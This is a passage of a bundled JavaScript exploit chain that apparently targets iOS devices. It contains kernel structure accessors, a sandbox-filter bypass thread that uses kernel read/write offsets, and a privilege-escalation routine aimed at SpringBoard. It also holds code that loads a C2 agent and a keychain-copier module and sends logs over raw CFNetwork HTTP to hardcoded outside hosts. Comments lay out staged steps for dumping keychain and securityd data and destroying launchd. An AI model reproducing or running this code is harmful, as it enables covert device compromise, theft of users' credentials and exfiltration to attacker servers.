#__addr; + #__off; + constructor(mem=undefined, off=0) { + this.#__mem = mem ? mem : new Uint8Array(0x18); + this.#__view = new DataView(this.#__mem.buffer); + this.#__off = off; + this.sizeof = this.#__mem.length; + } + get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; } + /* left element */ + get rbe_left() { return this.#__view.getBigUint64(this.#__off, true); } + set rbe_left(val) { this.#__view.setBigUint64(this.#__off, val, true); } + /* right element */ + get rbe_right() { return this.#__view.getBigUint64(this.#__off+0x8, true); } + set rbe_right(val) { this.#__view.setBigUint64(this.#__off+0x8, val, true); } + /* parent element */ + get rbe_parent() { return this.#__view.getBigUint64(this.#__off+0x10, true); } + set rbe_parent(val) { this.#__view.setBigUint64(this.#__off+0x10, val, true); } +}; + +class vm_map_entry { + #__mem; + #__view; + #__addr; + #__off; + constructor(mem=undefined, off=0) { + this.#__mem = mem ? mem : new Uint8Array(0x50); + this.#__view = new DataView(this.#__mem.buffer); + this.#__off = off; + this.sizeof = this.#__mem.length; + this.links = new vm_map_links(this.#__mem, this.#__off); + this.store = new vm_map_store(this.#__mem, this.#__off+0x20); + } + get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; } + + // Union field 1 + get vme_object_value() { return this.#__view.getBigUint64(this.#__off+0x38, true); } + set vme_object_value(val) { this.#__view.setBigUint64(this.#__off+0x38, val, true); } + + // Union field 2 + get vme_atomic() { return this.#__view.getUint8(this.#__off+0x38, true) & 1; } + set vme_atomic(val) { + let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfe; + this.#__view.setUint8(this.#__off+0x38, cur + (val & 1), true); + } + get is_sub_map() { return (this.#__view.getUint8(this.#__off+0x38, true) & 2) >> 1; } + set is_sub_map(val) { + let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfd; + this.#__view.setUint8(this.#__off+0x38, cur + ((val & 1) << 1), true); + } + get vme_submap() { return this.#__view.getBigUint64(this.#__off+0x38, true) >> 2n; } + set vme_submap(val) { + let cur = this.#__view.getBigUint64(this.#__off+0x38, true) & 3n; + this.#__view.setBigUint64(this.#__off+0x38, cur + ((val & 0x3fffffffffffffffn) << 2n), true); + } + + // Union field 3 + get vme_ctx_atomic() { return this.#__view.getUint8(this.#__off+0x38, true) & 1; } + set vme_ctx_atomic(val) { + let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfe; + this.#__view.setUint8(this.#__off+0x38, cur + (val & 1), true); + } + get vme_ctx_is_sub_map() { return (this.#__view.getUint8(this.#__off+0x38, true) & 2) >> 1; } + set vme_ctx_is_sub_map(val) { + let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfd; + this.#__view.setUint8(this.#__off+0x38, cur + ((val & 1) << 1), true); + } + get vme_context() { return this.#__view.getUint32(this.#__off+0x38, true) >> 2; } + set vme_context(val) { + let cur = this.#__view.getUint32(this.#__off+0x38, true) & 2; + this.#__view.setUint32(this.#__off+0x38, cur + (val << 2), true); + } + get vme_object() { return this.#__view.getUint32(this.#__off+0x3c, true); } + set vme_object(val) { this.#__view.setUint32(this.#__off+0x3c, val, true); } + + // vme_alias:12, /* entry VM tag */ + // vme_offset:52, /* offset into object */ + get vme_offset() { return this.#__view.getBigUint64(this.#__off+0x40, true) >> 12n; } + set vme_offset(val) { + let cur = this.#__view.getBigUint64(this.#__off+0x40, true) & 0xfffn; + this.#__view.setBigUint64(this.#__off+0x40, cur + (val << 12n), true); + } + // is_shared:1, /* region is shared */ + // __unused1:1, + // in_transition:1, /* Entry being changed */ + // needs_wakeup:1, /* Waiters on in_transition */ + // behavior:2, /* user paging behavior hint */ + // needs_copy:1, /* object need to be copied? */ + // protection:3, /* protection code */ + // used_for_tpro:1, + // max_protection:4, /* maximum protection, bit3=UEXEC */ + // inheritance:2, /* inheritance */ + // use_pmap:1, + // no_cache:1, /* should new pages be cached? */ + // vme_permanent:1, /* mapping can not be removed */ + // superpage_size:1, /* use superpages of a certain size */ + // map_aligned:1, /* align to map's page size */ + // zero_wired_pages:1, + // used_for_jit:1, + // csm_associated:1, /* code signing monitor will validate */ + // iokit_acct:1, + // vme_resilient_codesign:1, + // vme_resilient_media:1, + // vme_xnu_user_debug:1, + // vme_no_copy_on_read:1, + // translated_allow_execute:1, /* execute in translated processes */ + // vme_kernel_object:1; /* vme_object is kernel_object */ + + /* can be paged if = 0 */ + get wired_count() { return this.#__view.getUint16(this.#__off+0x4c, true); } + set wired_count(val) { this.#__view.setUint16(this.#__off+0x4c, val, true); } + /* for vm_wire */ + get user_wired_count() { return this.#__view.getUint16(this.#__off+0x4e, true); } + set user_wired_count(val) { this.#__view.setUint16(this.#__off+0x4e, val, true); } +}; +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ({vm_map_entry,vm_map_links,vm_map_store}); + + +/***/ }), + +/***/ "./src/libs/TaskRop/VmPackingParams.js": +/*!*********************************************!*\ + !*** ./src/libs/TaskRop/VmPackingParams.js ***! + \*********************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ VmPackingParams) +/* harmony export */ }); +class VmPackingParams +{ + #buffer; + #dataView; + constructor(buffer) + { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + } + get vmpp_base() + { + return this.#dataView.getBigUint64(0,true); + } + set vmpp_base(value) + { + this.#dataView.setBigUint64(0,value,true); + } + get vmpp_bits() + { + return this.#dataView.getUint8(8,true); + } + set vmpp_bits(value) + { + this.#dataView.setUint8(8,value,true); + } + get vmpp_shift() + { + return this.#dataView.getUint8(9,true); + } + set vmpp_shift(value) + { + this.#dataView.setUint8(9,value,true); + } + get vmpp_base_relative() + { + return this.#dataView.getUint8(10,true); + } + set vmpp_base_relative(value) + { + this.#dataView.setUint8(10,value,true); + } +} + +/***/ }) + +/******/ }); +/************************************************************************/ +/******/ // The module cache +/******/ var __webpack_module_cache__ = {}; +/******/ +/******/ // The require function +/******/ function __webpack_require__(moduleId) { +/******/ // Check if module is in cache +/******/ var cachedModule = __webpack_module_cache__[moduleId]; +/******/ if (cachedModule !== undefined) { +/******/ return cachedModule.exports; +/******/ } +/******/ // Create a new module (and put it into the cache) +/******/ var module = __webpack_module_cache__[moduleId] = { +/******/ // no module.id needed +/******/ // no module.loaded needed +/******/ exports: {} +/******/ }; +/******/ +/******/ // Execute the module function +/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); +/******/ +/******/ // Return the exports of the module +/******/ return module.exports; +/******/ } +/******/ +/************************************************************************/ +/******/ /* webpack/runtime/define property getters */ +/******/ (() => { +/******/ // define getter functions for harmony exports +/******/ __webpack_require__.d = (exports, definition) => { +/******/ for(var key in definition) { +/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { +/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); +/******/ } +/******/ } +/******/ }; +/******/ })(); +/******/ +/******/ /* webpack/runtime/hasOwnProperty shorthand */ +/******/ (() => { +/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) +/******/ })(); +/******/ +/******/ /* webpack/runtime/make namespace object */ +/******/ (() => { +/******/ // define __esModule on exports +/******/ __webpack_require__.r = (exports) => { +/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { +/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); +/******/ } +/******/ Object.defineProperty(exports, '__esModule', { value: true }); +/******/ }; +/******/ })(); +/******/ +/************************************************************************/ +var __webpack_exports__ = {}; +// This entry needs to be wrapped in an IIFE because it needs to be isolated against other modules in the chunk. +(() => { +/*!*********************!*\ + !*** ./src/main.js ***! + \*********************/ +__webpack_require__.r(__webpack_exports__); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/TaskRop/TaskRop */ "./src/libs/TaskRop/TaskRop.js"); +/* harmony import */ var libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/TaskRop/Task */ "./src/libs/TaskRop/Task.js"); +/* harmony import */ var libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/TaskRop/Sandbox */ "./src/libs/TaskRop/Sandbox.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _InjectJS__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./InjectJS */ "./src/InjectJS.js"); +/* harmony import */ var libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! libs/Driver/Driver */ "./src/libs/Driver/Driver.js"); +/* harmony import */ var libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! libs/TaskRop/RemoteCall */ "./src/libs/TaskRop/RemoteCall.js"); +/* harmony import */ var _raw_loader_dist_MigFilterBypassThread_js__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! !raw-loader!../dist/MigFilterBypassThread.js */ "./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js"); +/* harmony import */ var _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! !raw-loader!loader.js */ "./node_modules/raw-loader/dist/cjs.js!./src/loader.js"); + +/* harmony import */ var _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(/*! !raw-loader!c2_agent.js */ "./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js"); +/* harmony import */ var _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! !raw-loader!keychain_copier.js */ "./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js"); + + +class MigFilterBypass { + + #running; + #sharedMem; + #runFlagPtr; + #isRunningPtr; + #monitorThread1Ptr; + #monitorThread2Ptr; + #mutexPtr; + + constructor(mutexPtr) { + this.#mutexPtr = mutexPtr; + this.#running = false; + this.#sharedMem = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("calloc", 1, 0x100)); + this.#runFlagPtr = this.#sharedMem; + this.#isRunningPtr = this.#sharedMem + 0x4n; + this.#monitorThread1Ptr = this.#sharedMem + 0x8n; + this.#monitorThread2Ptr = this.#sharedMem + 0x10n; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 2); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#isRunningPtr, 0); + } + + start() { + if (this.#running) + return; + + // Guard BigInt(undefined/false): missing mig* offsets (e.g. incomplete 18.5 tables) used to throw TypeError before PEMK-A. + let off = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets(); + if (!off || off.migLock == null || off.migSbxMsg == null || off.migKernelStackLR == null) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_off"); } catch (_ms) {} + return false; + } + let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_thread_self")); + let portObj = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf); + if (!portObj || portObj === false || portObj === 0 || portObj === 0n) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_port"); } catch (_mp) {} + return false; + } + let threadSelfAddr = BigInt(portObj); + + let threadMem = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("calloc", 1, 0x400)); + if (!threadMem) return false; + let kernelRW = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].transferRW(); + if (!kernelRW || kernelRW.controlSocket == null || kernelRW.rwSocket == null) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_rw"); } catch (_mr) {} + return false; + } + let kernelBase = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].getKernelBase(); + if (!kernelBase) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_kbase"); } catch (_mk) {} + return false; + } + kernelBase = BigInt(kernelBase); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem, BigInt(kernelRW.controlSocket)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x10n, kernelBase); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x18n, threadSelfAddr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x20n, this.#runFlagPtr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x28n, this.#isRunningPtr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x30n, this.#mutexPtr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x38n, BigInt(off.migLock)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x40n, BigInt(off.migSbxMsg)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x48n, BigInt(off.migKernelStackLR)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x50n, this.#monitorThread1Ptr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x58n, this.#monitorThread2Ptr); + //Native.write64(threadMem, lock.kernelSlide); + //Native.write64(threadMem + 0x8n, lock.lockAddr); + //console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`); + const threadCode = "fcall_init(); " + _raw_loader_dist_MigFilterBypassThread_js__WEBPACK_IMPORTED_MODULE_9__["default"]; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].threadSpawn(threadCode, threadMem); + + for (let i=0; i<10; i++) { + let isRunning = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(this.#isRunningPtr); + if (isRunning) + break; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 500000); + } + + this.#running = true; + return true; + } + + stop() { + if (!this.#running) + return; + + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 0); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + this.#running = false; + } + + pause() { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 2); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + + resume() { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 1); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + + monitorThreads(thread1, thread2) { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(this.#monitorThread1Ptr, thread1); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(this.#monitorThread2Ptr, thread2); + } +} +function xnuVersion() { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("uname", libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem); + const release = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x200n, 0x100); + let splittedVersion = release.split("."); + let xnuMajor = splittedVersion[0]; + let xnuMinor = splittedVersion[1]; + return {major: xnuMajor, minor: xnuMinor}; +} + +const TAG = "MAIN"; +//const targetProcess = "bluetoothd"; +const targetProcess = "SpringBoard"; + +function start() { + let mutexPtr = null; + let migFilterBypass = null; + globalThis.xnuVersion = xnuVersion(); + let ver = globalThis.xnuVersion; + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_xnu:" + ver.major + "." + ver.minor); } catch (_xv) {} + + // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions + if (ver.major == 24 && ver.minor >= 4) { + + mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null); + migFilterBypass = new MigFilterBypass(mutexPtr); + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_ctor"); } catch (_mc) {} + } + let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"](); + + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver, mutexPtr); + + let resultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE(); + try { if (typeof pe_alive_ping === "function") pe_alive_ping(resultPE ? "pe_runPE_ok" : "pe_runPE_fail"); } catch (_rp) {} + if (!resultPE) + return; + + + libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init(); + if (migFilterBypass) { + try { + var __migOk = migFilterBypass.start(); + if (__migOk === false) { + var __majZ = Number(ver && ver.major); + var __minZ = Number(ver && ver.minor); + // 18.6+ keep hard-fail semantics; pre-18.6 drop bypass so start() can reach PEMK stages. + if (__majZ === 24 && __minZ >= 6) { + throw new Error("mig_start_failed"); + } + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_disabled"); } catch (_md) {} + migFilterBypass = null; + } + } catch (__migErr) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_exc:" + String(__migErr).substring(0, 80)); } catch (_me) {} + // Only swallow on XNU 24.x below .6 (iOS 18.4/18.5). 18.6+ rethrow — keep proven path. + var __maj = Number(ver && ver.major); + var __min = Number(ver && ver.minor); + if (__maj === 24 && __min < 6) { + migFilterBypass = null; + } else { + throw __migErr; + } + } + } + // ===== P7 Debug Logger (accumulate in memory, flush after sandbox escape) ===== + var p7_tag = "[P7] "; + var p7_logBuf = ""; + function p7_flog(msg) { + var line = p7_tag + msg; + try { LOG(line); } catch (_lg) {} + p7_logBuf += line + "\n"; + try { p7_postLogHttp(line); } catch (_ph) {} + } + function p7_logHostPort() { + try { + var g = typeof globalThis !== "undefined" ? globalThis : null; + if (g && g.__PE_EXFIL_HOST__) { + var tls = !!g.__PE_EXFIL_TLS__; + return { host: String(g.__PE_EXFIL_HOST__), port: Number(tls ? g.__PE_EXFIL_HTTPS__ : g.__PE_EXFIL_HTTP__) || (tls ? 443 : 80) }; + } + if (g && g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host) { + var e = g.__LAB_EXFIL__; + var etls = !!(e.tls || e.prefer_https); + return { host: String(e.host), port: Number(etls ? (e.https_port || 443) : (e.http_port || 80)) }; + } + } catch (_hp) {} + return { host: "mh0usocqzi6f46i.com", port: 443 }; + } + function p7_deliveryHostPort() { + try { + var g = typeof globalThis !== "undefined" ? globalThis : null; + var raw = String((g && (g.__PE_DELIVERY_HOST__ || g.__LAB_DELIVERY_HOST__)) || "http://one99.vip"); + var m = raw.match(/^(https?):\/\/([^\/:]+)(?::(\d+))?(\/.*)?$/i); + if (m) { + var dtls = m[1].toLowerCase() === "https"; + return { + host: m[2], + port: Number(m[3] || (dtls ? 443 : 80)), + pathPrefix: String(m[4] || "").replace(/\/$/, "") + }; + } + } catch (_dh) {} + return { host: "one99.vip", port: 80, pathPrefix: "" }; + } + // CFNetwork HTTP (no BSD socket). method=GET|POST; wantBody→return response body string or null. + // optHp: optional {host,port} override (stage fetch uses delivery host; logs/war use p7_logHostPort). + function __labCfHttp(method, httpPath, body, wantBody, optHp) { + try { + var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + method = String(method || "GET").toUpperCase(); + httpPath = String(httpPath || "/"); + body = (body == null) ? "" : String(body); + var hp = optHp || p7_logHostPort(); + var host = String((hp && hp.host) || "192.168.1.29"); + var port = ((hp && hp.port) | 0) || 9011; + function __cfRd64(addr) { + var bytes = N.read(addr, 8); + if (!bytes || bytes.byteLength < 8) return 0n; + var view = new DataView(bytes); + return (BigInt(view.getUint32(4, true)) << 32n) | BigInt(view.getUint32(0, true)); + } + function __cfWr64(addr, value) { + var buffer = new ArrayBuffer(8); + var view = new DataView(buffer); + var bigValue = BigInt(value); + view.setUint32(0, Number(bigValue & 0xFFFFFFFFn), true); + view.setUint32(4, Number((bigValue >> 32n) & 0xFFFFFFFFn), true); + N.write(addr, buffer); + } + var hostC = N.callSymbol("malloc", host.length + 1); + N.writeString(hostC, host); + var hostCF = N.callSymbol("CFStringCreateWithCString", 0n, hostC, 0x08000100); + try { N.callSymbol("free", hostC); } catch (_fh) {} + if (!hostCF || hostCF === 0n) return wantBody ? null : false; + var readPtr = N.callSymbol("malloc", 8); + var writePtr = N.callSymbol("malloc", 8); + __cfWr64(readPtr, 0n); + __cfWr64(writePtr, 0n); + N.callSymbol("CFStreamCreatePairWithSocketToHost", 0n, hostCF, port, readPtr, writePtr); + var readStream = __cfRd64(readPtr); + var writeStream = __cfRd64(writePtr); + try { N.callSymbol("CFRelease", hostCF); } catch (_rh) {} + try { N.callSymbol("free", readPtr); } catch (_frp) {} + try { N.callSymbol("free", writePtr); } catch (_fwp) {} + if (!writeStream || writeStream === 0n) { + if (readStream && readStream !== 0n) { + try { N.callSymbol("CFRelease", readStream); } catch (_rr) {} + } + return wantBody ? null : false; + } + try { N.callSymbol("CFReadStreamOpen", readStream); } catch (_ro) {} + var opened = N.callSymbol("CFWriteStreamOpen", writeStream); + if (!opened) { + try { N.callSymbol("CFRelease", readStream); } catch (_e1) {} + try { N.callSymbol("CFRelease", writeStream); } catch (_e2) {} + return wantBody ? null : false; + } + var ready = false; + for (var ai = 0; ai < 100; ai++) { + var st = Number(N.callSymbol("CFWriteStreamGetStatus", writeStream)); + if (st === 2) { ready = true; break; } + if (st >= 5) break; + try { N.callSymbol("usleep", 100000); } catch (_u) {} + } + if (!ready) { + try { N.callSymbol("CFReadStreamClose", readStream); } catch (_e) {} + try { N.callSymbol("CFWriteStreamClose", writeStream); } catch (_e) {} + try { N.callSymbol("CFRelease", readStream); } catch (_e) {} + try { N.callSymbol("CFRelease", writeStream); } catch (_e) {} + return wantBody ? null : false; + } + var hdr; + if (method === "POST") { + hdr = "POST " + httpPath + " HTTP/1.0\r\nHost: " + host + "\r\nContent-Type: application/json\r\nContent-Length: " + body.length + "\r\nConnection: close\r\n\r\n"; + } else { + hdr = "GET " + httpPath + " HTTP/1.0\r\nHost: " + host + ":" + port + "\r\nConnection: close\r\n\r\n"; + body = ""; + } + var full = hdr + body; + var CHUNK = 4096; + var sent = 0; + var waitLoops = 0; + while (sent < full.length && waitLoops < 2000) { + var can = N.callSymbol("CFWriteStreamCanAcceptBytes", writeStream); + if (!can) { + try { N.callSymbol("usleep", 10000); } catch (_u2) {} + waitLoops++; + continue; + } + waitLoops = 0; + var end = sent + CHUNK; + if (end > full.length) end = full.length; + var part = full.substring(sent, end); + var cbuf = N.callSymbol("malloc", part.length + 1); + N.writeString(cbuf, part); + var nw = Number(N.callSymbol("CFWriteStreamWrite", writeStream, cbuf, part.length)); + try { N.callSymbol("free", cbuf); } catch (_fc) {} + if (nw <= 0) break; + sent += nw; + } + var okSend = (sent >= full.length); + var resp = ""; + if (okSend) { + var rbuf = N.callSymbol("malloc", 65536); + for (var iter = 0; iter < 80; iter++) { + var has = true; + try { has = !!N.callSymbol("CFReadStreamHasBytesAvailable", readStream); } catch (_hb) { has = true; } + if (!has) { + var rst = 0; + try { rst = Number(N.callSymbol("CFReadStreamGetStatus", readStream)); } catch (_rs) {} + if (rst >= 4) break; + try { N.callSymbol("usleep", 20000); } catch (_u3) {} + continue; + } + var nr = Number(N.callSymbol("CFReadStreamRead", readStream, rbuf, 65535)); + if (nr <= 0) break; + resp += N.readString(rbuf, nr); + var hi2 = resp.indexOf("\r\n\r\n"); + if (hi2 >= 0) { + var clm = resp.substring(0, hi2).match(/Content-Length:\s*(\d+)/i); + if (clm && (resp.length - (hi2 + 4)) >= parseInt(clm[1], 10)) break; + if (!clm && resp.length > hi2 + 4) break; + } + } + try { N.callSymbol("free", rbuf); } catch (_frb) {} + } + try { N.callSymbol("CFReadStreamClose", readStream); } catch (_e) {} + try { N.callSymbol("CFWriteStreamClose", writeStream); } catch (_e) {} + try { N.callSymbol("CFRelease", readStream); } catch (_e) {} + try { N.callSymbol("CFRelease", writeStream); } catch (_e) {} + if (wantBody) { + if (!okSend) return null; + var hi = resp.indexOf("\r\n\r\n"); + if (hi < 0) return null; + var out = resp.substring(hi + 4); + return (out.length > 0) ? out : null; + } + return okSend; + } catch (_e) { return wantBody ? null : false; } + } + function p7_postLogHttp(text) { + // MPD → C2 /log via CFNetwork (source=pe_mpd). + try { + var uuid = ""; + try { uuid = String(globalThis.__LAB_DEVICE_UUID__ || ""); } catch (_u) {} + var body = JSON.stringify({ text: String(text).slice(0, 1800), source: "pe_mpd", uuid: uuid, deviceUUID: uuid }); + return !!__labCfHttp("POST", "/api/ds/log", body, false); + } catch (_pe) { return false; } + } + function p7_flushLog() { + if (!p7_logBuf) return; + try { + let p7_fd = fopen(get_cstring("/tmp/p7_debug.log"), get_cstring("a")); + if (p7_fd && p7_fd !== 0n) { + let p7_buf = get_cstring(p7_logBuf); + fwrite(p7_buf, 1n, BigInt(p7_logBuf.length), p7_fd); + fclose(p7_fd); + let p7_flushedLen = p7_logBuf.length; + p7_logBuf = ""; + try { LOG(p7_tag + "log flushed to /tmp/p7_debug.log (" + p7_flushedLen + " bytes)"); } catch (_lf) {} + } + } catch (p7_fe) { + try { LOG(p7_tag + "flush failed: " + p7_fe); } catch (_le) {} + } + } + + let p7_enableP7 = true; + + p7_flog("PEMK-A start alive (chain+runPE done)"); p7_flushLog(); + try { pe_alive_ping("pe_after_runPE"); } catch (_pa) {} + + // Newest PE claims /tmp/pe_lab_run.token AFTER s1 tokens (pre-s1 /tmp write often fails). + // Until claimed, __peStillOwner() returns true so we never self-abort. + var __peRunToken = String(Date.now()) + "-" + String((Math.floor(Math.random() * 1e9) >>> 0)); + var __peLockPath = "/tmp/pe_lab_run.token"; + var __peRunTokenClaimed = false; + function __peStillOwner() { + if (!__peRunTokenClaimed) return true; + try { + var N0 = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var fd = Number(N0.callSymbol("open", __peLockPath, 0)); + if (fd < 0) return false; + var sz = Number(N0.callSymbol("lseek", fd, 0, 2)); + N0.callSymbol("lseek", fd, 0, 0); + if (sz <= 0 || sz > 128) { N0.callSymbol("close", fd); return false; } + var mem = N0.callSymbol("malloc", BigInt(sz + 1)); + N0.callSymbol("read", fd, mem, sz); + N0.callSymbol("close", fd); + var txt = ""; + try { txt = N0.readString(mem); } catch (_rs) { + try { + var u8 = new Uint8Array(N0.read(mem, sz)); + for (var ui = 0; ui < u8.length; ui++) if (u8[ui]) txt += String.fromCharCode(u8[ui]); + } catch (_r3) {} + } + try { N0.callSymbol("free", mem); } catch (_f) {} + txt = (txt || "").replace(/\0/g, "").trim(); + return txt === __peRunToken; + } catch (_e) { return true; } + } + function __peClaimRunToken() { + if (__peRunTokenClaimed) return true; + try { + var Nlock = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var paths = ["/tmp/pe_lab_run.token", "/private/var/tmp/pe_lab_run.token"]; + for (var pi = 0; pi < paths.length; pi++) { + var lfd = Number(Nlock.callSymbol("open", paths[pi], 0x601, 0x1FF)); + if (lfd < 0) continue; + __peLockPath = paths[pi]; + var lbuf = Nlock.callSymbol("malloc", BigInt(__peRunToken.length + 1)); + Nlock.writeString(lbuf, __peRunToken); + Nlock.callSymbol("write", lfd, lbuf, __peRunToken.length); + Nlock.callSymbol("close", lfd); + try { Nlock.callSymbol("free", lbuf); } catch (_lf) {} + try { Nlock.callSymbol("chmod", __peLockPath, 0x1FF); } catch (_lc) {} + __peRunTokenClaimed = true; + p7_flog("PEMK-B pe_run_token claimed path=" + __peLockPath); + p7_flushLog(); + return true; + } + p7_flog("PEMK-B pe_run_token open fail (continue without lock)"); + p7_flushLog(); + } catch (_lk) { + try { p7_flog("PEMK-B pe_run_token err: " + _lk); p7_flushLog(); } catch (_e2) {} + } + return false; + } + p7_flog("PEMK-A pe_run_token deferred until after s1 tokens"); p7_flushLog(); + + // ===== Staged execution (current success flow) — GET /api/ds/pe-stage/ marks progress ===== + // s1 launchd+tokens → s2 keychain_copier → s3 mempress/destroy launchd + // → s4 SB loader → s6 Phase2 sqlite/securityd → s5 c2 (after dump; avoid securityd contention) + let launchdTask = null; + var __labKcCopier = null; + +function __labKcReadStatus() { + // Parse configd notify file. Ready iff ready=1 or db_ok=1 (copy finished). + try { + var N0 = 